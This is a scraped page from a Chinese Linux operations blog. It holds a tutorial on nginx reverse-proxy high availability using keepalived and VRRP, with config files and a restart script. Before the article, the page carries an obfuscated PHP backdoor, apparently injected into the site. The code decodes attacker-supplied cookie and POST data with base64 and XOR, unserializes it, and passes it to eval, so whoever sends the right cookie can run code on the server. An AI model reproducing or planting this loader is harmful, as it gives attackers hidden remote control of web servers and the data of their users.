$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 使用keepalive实现nginx反向代理高可用 | Linux运维部落

使用keepalive实现nginx反向代理高可用

简介:

在网站架构中,为了分散客户端对服务器的访问压力,可以使用nginx作为反向代理。但是使用一个nginx作为代理服务器必定会面对单点故障的情况,所以一般使用多台nginx反代服务器,而使用多台nginx服务器还要面对如何协调调度的问题。在此,我给大家介绍使用keepalive协调调度nginx反代服务器的方法。

 

keepalive简介

说到keepalive就要说到他的实现核心——VRRP协议。VRRP即虚拟路由器冗余协议,最初是为了解决多个路由器热备份而制定的。它是通过主路由器定时在网络中发送主路由器信息,通知各个备路由器,当备路由器接收不到信息就会通过优先级竞选成为主路由器。

 

VRRP的优先级范围是0-255,可配置范围1-254,其中0给路由器放弃MASTER位置时候使用,255保留给IP地址的拥有者使用。如果路由器的IP地址为虚拟IP地址时,只要其工作正常,则为MASTER路由器。

 

VRRP提供了三种认证方式:

1 无认证;

2 简单字符认证:不能超过8个字符;

3 MD5认证。

 

实验器材

 使用keepalive实现nginx反向代理高可用

lvs1 Centos7.3 172.18.55.74

lvs2 Centos7.3 172.18.55.75

web1 Centos6.8  172.18.55.61

web2 Centos7.3  172.18.55.71

 

实验步骤:

1 安装nginx反向代理服务

2 安装keepalive服务

 

实验过程:

1 安装nginx反向代理服务

为了简便,这里分别在web1web2上使用yum源安装的方式

#yum install –y nginx

 

修改nginx的配置文件

# vim /etc/nginx/nginx.conf

增加服务器组

upstream websvrs {
         server 172.18.55.61:80;
         server 172.18.55.71:80;
         server 127.0.0.1:8080 backup; #sorry Server
}

增加sorry server配置

server {
         listen 8080;
         root /etc/nginx/html;
         index sorry.html;
         location / {
}
}

增加sorry server页面文件

vim /etc/nginx/html/sorry.html
 
<h1> Sorry !!! <h1>
 

2 安装keepalive服务

使用yum安装

# yum install –y keepalived

 

修改配置文件

# vim /etc/keepalived/keepalived.conf
 
! Configuration File for keepalived
 
global_defs {
   notification_email {                        
     acassen@firewall.loc
     failover@firewall.loc
     sysadmin@firewall.loc
   }
   notification_email_from Alexandre.Cassen@firewall.loc
   smtp_server 192.168.200.1
   smtp_connect_timeout 30
   router_id LVS_MASTER #备服务器LVS_BACKUP
   vrrp_mcast_group4 224.0.109.55 #组播地址,一个虚拟路由器组设置相同
}
 
vrrp_instance VI_1 {
    state MASTER #备服务器BACKUP
    interface ens33 #网卡名
    virtual_router_id 155 #虚拟路由器ID,主备设置相同
    priority 100 #优先级1-254,备服务器98
    advert_int 1 #网络通知时间间隔
    authentication {
        auth_type PASS #认证方式为密码
        auth_pass GOOD #密码为GOOD,最多8位
    }
    virtual_ipaddress {
        172.18.55.100/16 dev ens33 #指定虚拟IP地址和接口网卡
    }
    track_script {
        ngxstatus #调用nginx状态监测脚本
    }
    notify_backup "/etc/keepalived/notify.sh backup" #如果nginx的状态改为了BACKUP,则执行此脚本
}
 
vrrp_script ngxstatus { #nginx状态监测脚本
        script "killall -0 nginx && exit 0 || exit 1"
        interval 1
        weight -5
}

 

增加配置nginx重启脚本,省略了非必要步骤

 

vim /etc/ keepalived/notify.sh
 
#!/bin/bash
 
myservice='nginx.service'
 
case $1 in
 
backup)
        systemctl restart $myservice;;
esac

原创文章,作者:realmaster,如若转载,请注明出处:http://www.178linux.com/75869

(0)
上一篇 2017-05-15 21:45
下一篇 2017-05-15 22:06

相关推荐

  • 硬盘分区及挂载

    标签:文件系统、分区、挂载 一、Linux的基本原则    1、一切皆文件(包括硬件);这个原则会会在很多方面得到体现; 磁盘在Linux中也表现为文件,即/dev目录下:IDE,ATA:/dev/hd[a-z]    SATA,SCSI,USB,SAS:sd[a-z]。    &nbsp…

    Linux干货 2015-05-18
  • Linux基础知识(五)

    本文主要讲述使用grep做模式匹配,具体示例包括: 1、显示/boot/grub/grub.conf中以至少一个空白字符开头的行; 2、显示/etc/rc.d/rc.sysinit文件中以#开头,后面跟至少一个空白字符,而后又有至少一个非空白字符的行; 3、打出netstat -tan命令执行结果中以‘LISTEN’,后或跟空白字符结尾的行; 4、添加用户b…

    Linux干货 2016-10-23
  • 第四周博客作业

    1、复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限。 ~]# cp -r /etc/skel /home/tuser1 ]# chmod -R 700 /home/tuser1/ 2、编辑/etc/group文件,添加组hadoop ~]# echo "hadoop:…

    Linux干货 2016-12-14
  • n25_第一周作业

    1.描述计算机的组成及其功能。 主要分为五个部分: 1. 控制器(Control):是整个计算机的中枢神经,其功能是对程序规定的控制信息进行解释,根据其要求进行控制,调度程序、数据、地址,协调计算机各部分工作及内存与外设的访问等。 2. 运算器(Datapath):运算器的功能是对数据进行各种算术运算和逻辑运算,即对数据进行加工处理。 3. 存储器(Memo…

    Linux干货 2016-12-01
  • shell编程之条件判断和find查询

    使用read 来把输入值分配给一个或多个shell 变量: -p 指定要显示的提示 -t TIMEOUT read 从标准输入中读取值,给每个单词分配一个变量 所有剩余单词都被分配给最后一个变量 read -p “Enter a filename: “ FILE   条件选择if语句  多分支 if  CONDITION1 ; …

    Linux干货 2016-08-18
  • 马哥教育网络班21期+第七周课程练习

    1、创建一个10G分区,并格式为ext4文件系统;    (1) 要求其block大小为2048, 预留空间百分比为2, 卷标为MYDATA, 默认挂载属性包含acl;    (2) 挂载至/data/mydata目录,要求挂载时禁止程序自动运行,且不更新文件的访问时间戳; ~]# fdisk &n…

    Linux干货 2016-08-30